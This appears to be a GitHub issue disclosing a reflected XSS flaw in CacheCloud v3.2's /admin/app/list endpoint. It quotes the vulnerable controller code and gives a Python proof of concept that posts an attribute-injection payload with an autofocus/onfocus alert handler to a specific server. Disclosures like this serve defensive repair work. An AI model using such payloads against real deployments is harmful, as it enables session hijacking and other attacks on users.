Skip to content

XSS vulnerability on /admin/app/list #381

@NinjaGPT

Description

@NinjaGPT

XSS vulnerability on /admin/app/list

Summary

In the latest version (v3.2) of CacheCloud, the endpoint /admin/app/list does not encode user-controllable parameters when outputting them on web page, resulting in XSS vulnerability. This allows attackers to launch XSS attacks against users.

Details

  • SOURCE & SINK
// src/main/java/com/sohu/cache/web/controller/AppController.java#L700-L760 700: @RequestMapping({"/list"}) 701: public ModelAndView doAppList(HttpServletRequest request, HttpServletResponse response, Model model, String appParam, AppSearch appSearch, String userId) { 702: AppUser currentUser = this.getUserInfo(request); 703: model.addAttribute("currentUser", currentUser); 704: int userAppCount = this.appService.getUserAppCount(currentUser.getId()); 705: if (userAppCount == 0 && !AppUserTypeEnum.ADMIN_USER.value().equals(currentUser.getType())) { 706: return new ModelAndView("redirect:/admin/app/init"); 707: } else { 708: if (appSearch.getAppStatus() == null) { 709: appSearch.setAppStatus(AppStatusEnum.STATUS_PUBLISHED.getStatus()); 710: } 711: 712: if (!StringUtils.isEmpty(appParam)) { 713: if (StringUtils.isNumeric(appParam)) { 714: appSearch.setAppId(Long.parseLong(appParam)); 715: } else { 716: appSearch.setAppName(appParam); 717: } 718: } 719: 720: if (StringUtils.isNotEmpty(userId)) { 721: appSearch.setUserId(NumberUtils.toLong(userId)); 722: } 723: 724: int totalCount = this.appService.getAppDescCount(currentUser, appSearch); 725: int pageNo = NumberUtils.toInt(request.getParameter("pageNo"), 1); 726: int pageSize = NumberUtils.toInt(request.getParameter("pageSize"), 10); 727: Page page = new Page(pageNo, pageSize, totalCount); 728: model.addAttribute("page", page); 729: appSearch.setPage(page); 730: List<AppDesc> apps = this.appService.getAppDescList(currentUser, appSearch); 731: List<AppDetailVO> appDetailList = new ArrayList(); 732: model.addAttribute("appDetailList", appDetailList); 733: List<SystemResource> resourcelist = this.resourceService.getResourceList(ResourceEnum.REDIS.getValue()); 734: long totalApplyMem = 0L; 735: long totalUsedMem = 0L; 736: long totalApps = 0L; 737: if (apps != null && apps.size() > 0) { 738: for(AppDesc appDesc : apps) { 739: AppDetailVO appDetail = this.appStatsCenter.getAppDetail(appDesc.getAppId()); 740: appDetailList.add(appDetail); 741: totalApplyMem += appDetail.getMem(); 742: totalUsedMem = (long)((double)totalUsedMem + appDetail.getMemUsePercent() * (double)appDetail.getMem() / (double)100.0F); 743: ++totalApps; 744: appDetail.getAppDesc().setBizGroup(appDesc.getBizGroup()); 745: } 746: } 747: 748: List<AppUser> userList = this.userService.getAllUser(); 749: List<AppBiz> bizList = this.userService.getBizList(); 750: model.addAttribute("userList", userList); 751: model.addAttribute("bizList", bizList); 752: model.addAttribute("appParam", appParam); 753: model.addAttribute("resourcelist", resourcelist); 754: model.addAttribute("totalApps", totalApps); 755: model.addAttribute("totalApplyMem", totalApplyMem); 756: model.addAttribute("totalUsedMem", totalUsedMem); 757: return new ModelAndView("app/appList"); 758: } 759: } 760: 

POC

import requests from requests.sessions import Session class CustomSession(Session): def request( self, method, url, params = None, data = None, headers = None, cookies = None, files = None, auth = None, timeout = None, allow_redirects = True, proxies = None, hooks = None, stream = None, verify = None, cert = None, json = None, ): arg_names = ( 'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout', 'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json' ) local_variables = locals() local_variables = {n: local_variables[n] for n in local_variables if n in arg_names} local_variables['headers'] = local_variables.get('headers') or dict() local_variables['headers'].update({'origin': 'http://34.169.199.145:40101', 'referer': 'http://34.169.199.145:40101/admin/app/list?clickTimestamp=1763075321951', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'upgrade-insecure-requests': '1'}) return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names}) requests.sessions.Session = CustomSession # ================================== Poc Start =================================== import requests url = 'http://34.169.199.145:40101/admin/app/list' payload = {'appParam': 'X" tabindex="1" AuTOfoCus OnfoCUs=alert("zast-xss")//'} response = requests.post(url, data=payload, verify=False, allow_redirects=False) print('Status Code:', response.status_code) print('Text:', response.text) # =================================== Poc End ==================================== 
  • Screenshot
Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions